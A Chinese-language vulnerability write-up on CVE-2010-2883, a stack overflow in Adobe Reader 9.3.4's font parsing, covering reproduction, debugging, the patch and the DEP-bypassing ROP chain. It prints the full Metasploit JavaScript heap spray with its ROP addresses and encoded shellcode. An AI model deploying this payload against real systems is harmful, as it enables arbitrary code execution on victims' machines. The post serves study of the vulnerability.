selph
selph
发布于 2022-04-06 / 601 阅读
0
0

漏洞分析:CVE-2010-2883

这个漏洞分析花了大概3天,初次分析流程如此长的漏洞,后面还有个随书样本的利用shellcode分析,明天再发出来

学习与实践嘛,从模仿到独立,一步一步慢慢来,这次分析过程中有一个很明显的感觉就是“我看不懂,但我大受震撼”,到分析到后面的时候再回来总览整个ROP过程,就有一种柳暗花明又一村的感觉,“啊,原来是这么回事啊”,整个过程虽然漫长,但却也充满发现,这,便是乐趣所在。

漏洞介绍

漏洞描述

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的 uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码。

实验环境

  • 虚拟机:Windows XP SP3
  • 虚拟机:Kali Linux
  • 漏洞程序:Adobe reader 9.3.4
  • IDA 7.5
  • x86dbg
  • pdfstreamdumper

漏洞复现

根据之前踩的一次坑得知,漏洞复现对于漏洞分析的开始很有帮助,因为能触发漏洞,就说明漏洞一定存在,就一定能分析到漏洞上面去(之前拿了一个被修复了漏洞的程序使劲分析分析不出来漏洞。。。。)

本次分析中的样本来自《漏洞战争》随书文件提供的“名企面试自主手册.pdf”,这里先自己通过msf生成漏洞利用的pdf文件来先进行漏洞分析,然后再对书上样本进行分析

在kali的msf中搜索利用模块:

image-20220330184218196

选择下面那个,填充参数,run:

image-20220330184353804

接下来把生成的文件复制出来拖入Windows XP SP3的虚拟机里

在虚拟机里安装Adobe Reader 9.3.4漏洞程序

然后双击点开生成的利用pdf:

image-20220330184740454

Adobe Reader打开窗口立马消失,弹出计算器

漏洞复现成功!

漏洞分析

PDF格式和TTF SING表

PDF:Portable Document Format(可移植的文档格式)

使用010 Editor的pdf模板可以查看pdf格式的二进制数据:

image-20220330191921550

PDF文件结构由4部分组成:

  • Header:文件头,用来注明pdf文件版本号,值为%PDF-版本号
  • Body:主要由组成文件的对象组成,例如图片,文字等
  • Cross-regerence table:交叉引用表,用于存放所有对象的引用、位置偏移、字节长度,用于随机访问pdf中的任意对象
  • Trailer:文件尾,给出交叉引用表的位置(指针)和一些关键对象的信息(指针),以%%EOF标记文件结尾。PDF阅读器都是从这里开始解析的

img

PDF的Body是树状层次结构,每个节点都是一个对象,由根节点Document Catalog开始,其叶子节点包括文档内容,大纲等属性:

img

可用分析pdf的工具pdfstreamdumper查看pdf节点信息:

载入刚刚msf生成的pdf,查看第一个节点:

image-20220330193237663

/Type指定对象类型是:Catalog(根对象)

/Pages指向第一个对象:2(对象序号)0(生成号)R(表示引用对象),该对象是一个Pages对象

/OpenAction指向了11 0 R对象,该对象指定了打开文档时进行的操作

接下来看第二个节点:

image-20220330193545543

/Resources指向一个资源对象,4 0 R

/Kids是它的叶子节点5 0 R

/Types指定该对象是Pages对象

接下来看第二个结点指向的资源对象4 0 R,据说这是触发漏洞的对象:

image-20220330193731223

/Font指向了字体字典对象6 0 R

接下来查看6号对象:

image-20220330193818549

/F1表示使用了Type 1字体技术定义字形形状的字体,对象是7 0 R

接下来查看7号对象:

image-20220330193914015

/Type 表示类型是字体对象

/FontDescripter指向字体描述符 9 0 R,用于描述字体属性

接下来查看9号对象:

image-20220330194024926

/FontFile2指向对象10 0 R,10号对象是流对象(侧边标注是黄色的)

查看10号对象:

image-20220330194225177

00 01 00 00是TTF字体文件的开始标志,右键把该文件另存为,用010 Editor的TTF模板进行分析

TTF:The TrueType Font File,是定义字体的文件(详细内容自行搜文档),TrueType字体文件以表的形式包含构成字体的数据:

image-20220330195437930

这里的Sing表就是漏洞触发的地方,Sing表的结构(见参考资料[4]):

/*
https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
 * SING table for glyphlets
 */

#ifndef FORMAT_SING_H
#define FORMAT_SING_H

#define SING_VERSION VERSION(1, 1)

#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16

typedef struct
{
    Card16 tableVersionMajor;
    Card16 tableVersionMinor;
    Card16 glyphletVersion;
    Card16 permissions;
    Card16 mainGID;
    Card16 unitsPerEm;
    Int16 vertAdvance;
    Int16 vertOrigin;
    Card8 uniqueName[SING_UNIQUENAMELEN];	// 28 bytes length
    Card8 METAMD5[SING_MD5LEN];
    Card8 nameLength;
    Card8 *baseGlyphName; /* name array */
} SINGTbl;

#endif /* FORMAT_SING_H */

这里的这个名称uniqueName长度28字节,在表中偏移是16字节

在010Editor中:

image-20220330200020244

Sing表的文件偏移是284,长度是7647

查看Sing表中的UniqueName:

image-20220330200417407

这里没有字符串的\x00截断,因此读取该字符串如果没有长度限制可能会被当成超长字符串!

静态分析

已知漏洞位于CoolType.dll库,复制该DLL出来,IDA分析,已知漏洞发生在SING表处,搜索字符串SING:(不知道为啥,我搜不到,我是根据参考资料[2]中的地址跳转过去的,确实有这么个字符串)

image-20220331190732198

因为刚刚发现漏洞利用的pdf的ttf字体的sing表中的UniqueName字符串最后没有00结尾,那么这里要溢出的话,必定是字符串操作相关函数,而且是不管字符串长度,以00结尾来判断字符串结束的

通过交叉引用发现0803DD74处的SING后面调用了strcat函数:

image-20220331191219721

strcat两个参数,一个是目的地址,一个是源地址,不对字符串长度进行判断,刚好满足条件

这里的两个参数,目的地址参数来自ebp+108h+Destination,是局部变量中的一个地址

源地址参数来自ebp+108h+var_12C,在入栈前对该地址加了0x10 = 16字节

SING表的UniqueName字段刚好偏移也是16字节,可以认为这个地址就是SING表的地址

接下来把SING表的结构下载下来Ctrl+F9导入一下:

https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h

使用F5来看,对结构看的更清晰:

image-20220331192726897

这里的判断条件是,如果sing表存在,且版本信息满足要求,就会调用strcat,这里的目的地址数组长度是260字节,只要程序能够解析这个不正常的SING表,就可以触发溢出,因为目的地址在局部变量里,所以位置在栈顶下面,所以溢出覆盖返回地址会发生在调用strcat后,而不是在strcat中

动态分析

为了更方便观察漏洞缓冲区覆盖情况,这里重新生成一个样本(学自参考资料[3])

在exp脚本/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb大概102行的位置将下面的rand_text这一行给注释掉,把上面注释掉的这个生成大量A的这一行去掉注释

image-20220331193329436

然后接下来使用msf生成样本,流程根前面漏洞复现一样,就不再重复了

生成完拷贝到Windows XP SP3复现环境中


用x86dbg附加打开的Adobe Reader,运行起来

根据静态分析得知漏洞触发函数的地址是:0x0803DDAB,这里直接跳转过去下断点:

image-20220331193930874

接下来用Adobe Reader打开刚刚生成的利用样本,走到触发断点这里:

这里会先抛出一大堆溢出,然后不停的点运行,就会经过一大堆异常处理之后走到我们下的断点(PS:关掉WindowsXP的错误报告也许会舒服一些)

image-20220331201501325

这里可以看到参数是我们设置的一大堆A,这里目的地址是0x0012E4D8,当前栈顶地址是0x0012E468

目的地址在栈顶的下面,所以溢出不会发生在strcat里,步过strcat:

image-20220331202253641

这里可以看到,ecx是目的地址,这个地址里已经填充满了shellcode

接下来往后执行发现这里有一个call eax:

image-20220331204921043

恰好此时的eax就是栈中地址0x12E6D0,这个地址是我们shellcode覆盖的范围内,shellcode在这里构造了一个跳转地址(接下来就是分析ROP构造的环节了):

image-20220331205027876

跳转进入之后:

image-20220331205143939

这里找了一串指令,首先调整了EBP,原本ebp = 0x0012DD48,修改后0x0012E4DC,ebp向下进行了调整,调整到了esp下方

接下来执行leave修改了esp,原本的esp = 0x0012DD24,调整后esp = ebp = 0x0012E4DC,ebp = 0x41414141,esp=0x0012E4E0

这串指令把esp调整到shellcode内部的位置,然后构造下一个返回地址:

image-20220331205650023

跳转后:

image-20220331210533228

pop之后,esp获得了下一个构造的值:0x0c0c0c0c:

image-20220331210748166

然后跳转到第一个地址:0x4A8063A5

image-20220331210811063

接下来依然通过栈进行ret:0x4A802196(ret会使esp+4)

image-20220331211011555

这里eax的值是shellcode内部的一部分,然后这里ecx的值是某个可写的地址

这里把eax保存了一下,然后ret(应该也只是为了往esp下面走),跳转到:0x4A801F90

image-20220331211224748

接下来pop给eax赋值,然后接着走:0x4A80B692

image-20220331211356295

此时eax是CreateFileA函数的地址,刚刚跳转的地方是jmp eax

这里eax改变了,但是ecx没有改变,获取栈中的地址依然可以通过ecx获得

跳转之后就是CreateFileA的逻辑:

image-20220331211725317

CreateFileA的函数声明:

HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

这里的参数:

$+4      0C0C0C24  4A801064      icucnv36.4A801064  ret指令
$+8      0C0C0C28  4A8522C8      lpFileName = "iso88591"
$+C      0C0C0C2C  10000000      dwDesiredAccess = GENERIC_ALL
$+10     0C0C0C30  00000000      dwShareMode = 0
$+14     0C0C0C34  00000000      lpSecurityAttributes = NULL
$+18     0C0C0C38  00000002      dwCreationDisposition = CREATE_ALWAYS
$+1C     0C0C0C3C  00000102      dwFlagsAndAttributes = HIDDEN|TEMPORARY
$+20     0C0C0C40  00000000      hTemplateFile = NULL

这里实际上是创建了个临时文件:iso88591

在文件选项设置显示所有文件:

image-20220401111414694

创建文件之后:

image-20220331212501481

跳转到0x4A801064:

image-20220331212541919

接下来又是一系列跳转:

image-20220331212557430

跳转:

image-20220331212623865

这里对edi和eax进行了交换,因为edi指向了shellcode的内部,接着跳转:

image-20220331212734759

接着跳转:

image-20220331212946343

这里把edi保存到栈上面了,以便后续函数调用使用:

image-20220401112042522

接下来ret,到了pop eax:

image-20220401112159599

这里pop给eax的值是CreateFileMapping函数,这个函数用来为指定文件创建文件映射对象,然后接着一个跳转过去:

image-20220401112243468

去jmp eax去跳转到函数上:

image-20220401112614719

参数在栈中的分布:

$ ==>    0C0C0C64  41414141      
$+4      0C0C0C68  4A801064      
$+8      0C0C0C6C  00000338      hFile = 0x00000338
$+C      0C0C0C70  00000000      pSecurity = NULL
$+10     0C0C0C74  00000040      Protection = PAGE_EXECUTE_READWRITE
$+14     0C0C0C78  00000000      MaximumSizeHigh = 0
$+18     0C0C0C7C  00010000      MaximumSizeLow  = 10000
$+1C     0C0C0C80  00000000      MapName = NULL

这里把使用之前创建的文件句柄来创建内存映射,内存属性是可读可写可执行

创建之后,执行到返回:

image-20220401113337010

再次返回跳转:

image-20220401113422686

接着跳转:

image-20220401113442489

这里把之前交换给edi的值再交换给eax(文件句柄)

然后接着返回:

image-20220401113522774

esp+4,接着返回:(这样的操作应该是在调整esp的位置)

image-20220401113602026

接下来接着往栈里保存值edi,这里跟之前很相似:

image-20220401113742177

然后返回:

image-20220401113809377

这里esp的地址是MapViewOfFIle函数,这里的作用是将一个文件映射对象映射到当前应用程序的地址空间,其中 hMapObject 参数为上面调用返回的 hMapObject 对象,调用函数后会返回该文件对象在内存中对应的地址

然后通过jmp eax进入函数:

image-20220401114023645

函数的参数:

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,	// 映射句柄
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,		// 地址高位
  [in] DWORD  dwFileOffsetLow,		// 地址低位
  [in] SIZE_T dwNumberOfBytesToMap
);

这里函数使用的是前面映射的句柄,步进到函数返回,eax的返回值是0x26E0000,内存布局查看:

image-20220401151315612

返回出去之后又是一个ret:

image-20220401151539697

可以看到,映射到内存这里是一片000000

接着ret:

image-20220401151608834

这里弹出来一个栈顶,然后返回:

image-20220401151646896

然后这里把eax保存到ecx所在内存里,ecx是刚刚从栈里拿出来的地址

接着返回:

image-20220401151748933

又取出1个ecx然后ret:

image-20220401151812198

这里把edi里保存的映像句柄又拿出来给eax了,接下来要进行调用函数

image-20220401151905870

这里pop给ebx的是为一个后面要用的参数准备的

然后接着ret:

image-20220401152029554

这里是刚刚见过很多遍的跳转逻辑,这里从ebx索引esp的一个位置,用edi赋值,把映射内存首地址放到栈里,作为之后调用的函数的参数

接下来移动到返回:

image-20220401152204122

弹出一个值,然后ret:

image-20220401152317219

eax里保存的是之前保存映射地址的地方,这里把映射地址取出来到eax,然后ret:

image-20220401152358313

跳过两个栈顶,ret:

image-20220401152429212

这两个值是一样的,所以这里交换是没有意义的,但是如果刚刚eax那个地址里保存的值发生了变化,则这样可以把前面保留到edi的地址交换给eax

image-20220401152529871

这里给ebx弹了个0x20,接下来接着跳转

image-20220401152622131

又是熟悉的一幕,接着跳转:

image-20220401152915507

这里ecx的值是ret的地址

接着跳转:

image-20220401153008184

这里入栈几个参数,然后call ecx,ret,直接跳过这里的ecx走到下面一行,给esp+10保护刚刚入栈的参数,然后返回:

image-20220401153210702

给eax弹了个0x34,返回:

image-20220401153244301

修改eax为栈中的另一个地址,然后返回:

image-20220401153325073

接下来把ecx也弹出了,接着返回:

image-20220401153508085

这里交换了eax和edi,接着返回:

image-20220401153543741

接着返回:

image-20220401153604730

这里接着往栈里填充内容,返回:

image-20220401153735535

这里给eax了memcpy的地址,然后返回,jmp eax:

image-20220401153853056

进入memcpy,源地址保存在esi,目的地址保存在edi,复制次数保存在ecx,源地址在栈里,这个栈是被控制的,源地址后面有利用代码

复制完成后:

image-20220401154119910

栈里后面的东西也就都复制过去了,这里返回地址就是我们映射的内存地址,直接跳入shellcode进行执行:

image-20220401154224769

弹出计算器,然后进程崩掉

ROP链总结

从ROP链开始,到运行shellcode,流程如下:

  1. 调整栈顶到可控区域
  2. 切换栈顶到0x0c0c0c0c,这个位置被构造好了栈数据和利用代码
  3. 创造一片可执行的内存区域绕过DEP:
    1. 调用CreateFileA函数创建临时文件
    2. 调用CreateFileMappingA函数创建内存映射对象
    3. 调用MapViewOfFile函数,映射文件到内存,返回映射地址
  4. 调用memcpy函数,复制利用代码到该内存
  5. 跳转执行

搜索ROP用到的指令可以通过msfpescan进行,也可以通过immdbg的mona插件进行搜索

JavaScript HeapSpary

到这里有一个疑惑,就是0x0c0c0c0c这个内存地址中的数据是如何添加进去的呢?这里用到了堆喷射技术

见参考资料[2]

在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量堆内存,并用包含着0x90和shellcode的“内存片”覆盖这些内存。

JavaScript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200 X 1024X 1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcode 的内存片覆盖。

只要内存片中的0x90能够命中0x0C0C0C0C的位置,shellcode 就能最终得到执行。

QQ图片20220401155955

用PDFStreamDunper去提取js代码:

image-20220401160303559

根节点的这个/OpenAction就是指定了在打开文档时执行什么操作

查看节点11:

image-20220401160352282

发现JS代码,位于节点12里,把节点12的内容复制出来:

var uDDMNOYkWU = unescape;
var yNfOyVpLRleTWyEXqEbClSJIWHxUoEmKzbDVrTxEpJgoFJMbbDOcteOUZcpuVkaUBHnR = uDDMNOYkWU( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uabbd%u45fa%udb0e%ud9d0%u2474%u58f4%uc929%u31b1%uc083%u3104%u0f68%u6803%u18a4%uf2b0%u5e52%u0b3b%u3fa2%ueeb5%u7f93%u7ba1%u4f83%u2ea1%u3b2f%udae7%u49a4%uec20%ue70d%uc316%u548e%u426a%ua70c%ua4bf%u682d%ua5b2%u956a%uf73f%ud123%ue892%uaf40%u822e%u211a%u7737%u40ea%u2616%u1b61%uc8b8%u17a6%ud2f1%u12ab%u684b%ue81f%ub84a%u116e%u85e0%ue05f%uc2f8%u1b67%u3a8f%ua694%uf888%u7ce7%u1b1c%uf64f%uc786%udb6e%u8351%u907c%ucb16%u2760%u67fa%uac9c%ua7fd%uf615%u63d9%uac7e%u3540%u03da%u257c%ufc85%u2dd8%ue82b%u6c50%uef21%u0ae7%uef07%u14f7%u9837%u9fc6%udfd8%u75d6%u109d%ud49d%ub8b7%u8d78%ua48a%u7b7a%ud0c8%u8ef8%u26b0%ufae0%u63b5%u17a6%ufcc7%u1843%ufc74%u7b41%u6e1b%u5209%u16be%uaaa8' );
var QBTjuGryWsLcUAFVNk = uDDMNOYkWU( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (QBTjuGryWsLcUAFVNk.length + 20 + 8 < 65536) QBTjuGryWsLcUAFVNk+=QBTjuGryWsLcUAFVNk;
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW = QBTjuGryWsLcUAFVNk.substring(0, (0x0c0c-0x24)/2);
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW += yNfOyVpLRleTWyEXqEbClSJIWHxUoEmKzbDVrTxEpJgoFJMbbDOcteOUZcpuVkaUBHnR;
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW += QBTjuGryWsLcUAFVNk;
vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf = sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW.substring(0, 65536/2);
while(vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf.length < 0x80000) vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf += vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf;
FjpCshAIDstxYBUGb = vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf.substring(0, 0x80000 - (0x1020-0x08) / 2);
var YQXLgZlpdVoxYkePABbnrvXDSToaKbfcsuhhbDRWGyypO = new Array();
for (vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP=0;vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP<0x1f0;vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP++) YQXLgZlpdVoxYkePABbnrvXDSToaKbfcsuhhbDRWGyypO[vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP]=FjpCshAIDstxYBUGb+"s";

这里有混淆:变量名是超长随机字符

重新给变量命名一下:

var var_unescape = unescape; 
// unescape用来解码escape编码的结果,这个编码是把特殊字符转义
var shellcode = var_unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uabbd%u45fa%udb0e%ud9d0%u2474%u58f4%uc929%u31b1%uc083%u3104%u0f68%u6803%u18a4%uf2b0%u5e52%u0b3b%u3fa2%ueeb5%u7f93%u7ba1%u4f83%u2ea1%u3b2f%udae7%u49a4%uec20%ue70d%uc316%u548e%u426a%ua70c%ua4bf%u682d%ua5b2%u956a%uf73f%ud123%ue892%uaf40%u822e%u211a%u7737%u40ea%u2616%u1b61%uc8b8%u17a6%ud2f1%u12ab%u684b%ue81f%ub84a%u116e%u85e0%ue05f%uc2f8%u1b67%u3a8f%ua694%uf888%u7ce7%u1b1c%uf64f%uc786%udb6e%u8351%u907c%ucb16%u2760%u67fa%uac9c%ua7fd%uf615%u63d9%uac7e%u3540%u03da%u257c%ufc85%u2dd8%ue82b%u6c50%uef21%u0ae7%uef07%u14f7%u9837%u9fc6%udfd8%u75d6%u109d%ud49d%ub8b7%u8d78%ua48a%u7b7a%ud0c8%u8ef8%u26b0%ufae0%u63b5%u17a6%ufcc7%u1843%ufc74%u7b41%u6e1b%u5209%u16be%uaaa8' );

// unescape("%u0c0c%u0c0c"); 0c 0c对应的指令是 or al, C,无用指令,可以大量使用不影响程序
var var_C = var_unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

// 循环,65536 = 64KB,这里的20+8应该是预留出来做什么用的
// 循环是用来覆盖内存中的数据
// var_C长度应该是(65536-28)个字符,127KB
while (var_C.length + 20 + 8 < 65536) var_C+=var_C;	

// 精准堆喷,使shellcode开始的地方一定在0c0c结尾地址0x....0c0c处
// var_D长度:3048字节 + 1656*2字节(shellcode) + 127KB = 67336*2 = 20E10字节
var_D = var_C.substring(0, (0x0c0c-0x24)/2);
var_D += shellcode;	// 拼接shellcode
var_D += var_C;		// 拼接滑块代码

// 一个Unicode字符是2字节,这里取0x10000/2 = 0x8000字符长度
var_E = var_D.substring(0, 65536/2);

// 最终一个shellcode实际大小为 1MB,0x80000 * 2 = 0x100000 = 1MB
while(var_E.length < 0x80000) var_E += var_E;

// 从后面截短 0x1020 - 0x08 = 4120 字节,目的应该是让实际大小小于1MB,因为这里分配的一个堆块是1MB大小,var_E 应该小于堆块大小,这样才能确保分配1M大小的堆块
var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4

// 开辟内存空间
var var_F = new Array();

// 0x1f0 = 496
// var_H有将近1M大小,这个数组每个成员都是var_H + "s",这里填充496次
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

这里使用堆喷射,利用数组申请了超大内存,填充了shellcode和滑板指令

每个数组成员都是接近1M(0x100000)大小,运行漏洞程序拖入msfA.pdf查看内存布局:

image-20220401172129095

从加载该dll映像往后:0x8260000开始,申请了将近500个1M大的堆空间,这里面有将近500个Shellcode

这里就从刚刚动态分析使用的0x0c0c0c0c开始看:

image-20220401172304374

0x0c0c0c0c就是这里数组里填充的Shellcode,堆喷射就是只要控制好数组的大小,和shellcode的位置,来精确调整让shellcode出现在0x0c0c0c0c

0x0c0c0c0c开始往后就是ROP链和利用shellcode了

漏洞修复

该软件9.4.0版本修复了该漏洞

本部分反汇编来自参考资料[3]

.text:0803DD90                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD94                 jnz     loc_803DEF6
.text:0803DD9A                 push    offset aName    ; "name"
.text:0803DD9F                 push    edi             ; int
.text:0803DDA0                 lea     ecx, [ebp+108h+var_124]
.text:0803DDA3                 xor     bl, bl
.text:0803DDA5                 call    sub_80217D7
.text:0803DDAA                 cmp     [ebp+108h+var_124], 0
.text:0803DDAE                 jnz     short loc_803DE1A
.text:0803DDB0                 push    offset aSing    ; "SING"
.text:0803DDB5                 push    edi             ; int
.text:0803DDB6                 lea     ecx, [ebp+108h+var_12C]
.text:0803DDB9                 call    sub_8021B06
.text:0803DDBE                 mov     ecx, [ebp+108h+var_12C]
.text:0803DDC1                 test    ecx, ecx
.text:0803DDC1 ;   } // starts at 803DD90
.text:0803DDC3 ;   try {
.text:0803DDC3                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DDC7                 jz      short loc_803DE03
.text:0803DDC9                 mov     eax, [ecx]
.text:0803DDCB                 and     eax, 0FFFFh
.text:0803DDD0                 jz      short loc_803DDD9
.text:0803DDD2                 cmp     eax, 100h
.text:0803DDD7                 jnz     short loc_803DE01
.text:0803DDD9
.text:0803DDD9 loc_803DDD9:                            ; CODE XREF: sub_803DD33+9D↑j
.text:0803DDD9                 push    104h            ; int
.text:0803DDDE                 add     ecx, 10h
.text:0803DDE1                 push    ecx             ; char *
.text:0803DDE2                 lea     eax, [ebp+108h+var_108]
.text:0803DDE5                 push    eax             ; char *
.text:0803DDE6                 mov     [ebp+108h+var_108], 0
.text:0803DDEA                 call    sub_813391E

这里很显然没有调用strcat进行获取UniqueName而是调用函数sub_813391E:

.text:0813391E                 push    esi
.text:0813391F                 mov     esi, [esp+4+arg_0]
.text:08133923                 push    esi             ; char *
.text:08133924                 call    strlen
.text:08133929                 pop     ecx
.text:0813392A                 mov     ecx, [esp+4+arg_8]
.text:0813392E                 cmp     ecx, eax
.text:08133930                 ja      short loc_8133936
.text:08133932                 mov     eax, esi
.text:08133934                 pop     esi
.text:08133935                 retn
.text:08133936 loc_8133936:                            ; CODE XREF: sub_813391E+12↑j
.text:08133936                 sub     ecx, eax
.text:08133938                 dec     ecx
.text:08133939                 push    ecx             ; size_t
.text:0813393A                 push    [esp+8+arg_4]   ; char *
.text:0813393E                 add     eax, esi
.text:08133940                 push    eax             ; char *
.text:08133941                 call    ds:strncat
.text:08133947                 add     esp, 0Ch
.text:0813394A                 pop     esi
.text:0813394B                 retn

这里使用了strlen获取字段长度,长度超出限制就使用strncat进行获取字段内容,该函数限制了可以拷贝的字节数从而修复了该漏洞

总结

第一次分析ROP如此长的漏洞,我有一个很直观的感受就是”我看不懂,但我大受震撼“,分析过程那是相当漫长,当跟着网上师傅们的文章走过一遍之后,对整体利用流程有了一个较为清晰的认识,更加大受震撼了hhhh,我现在还处于一个分析经验不足的阶段,相信等我分析上一定数量的漏洞再回过头来重新回顾这个漏洞,一定会很有收获。

对本漏洞原理的分析暂时就到这里,接下来还有一个相关的事情没做:

  1. 分析msf样本的shellcode
  2. 分析随书文件恶意样本的shellcode

过两天分析完也跟上

参考资料


评论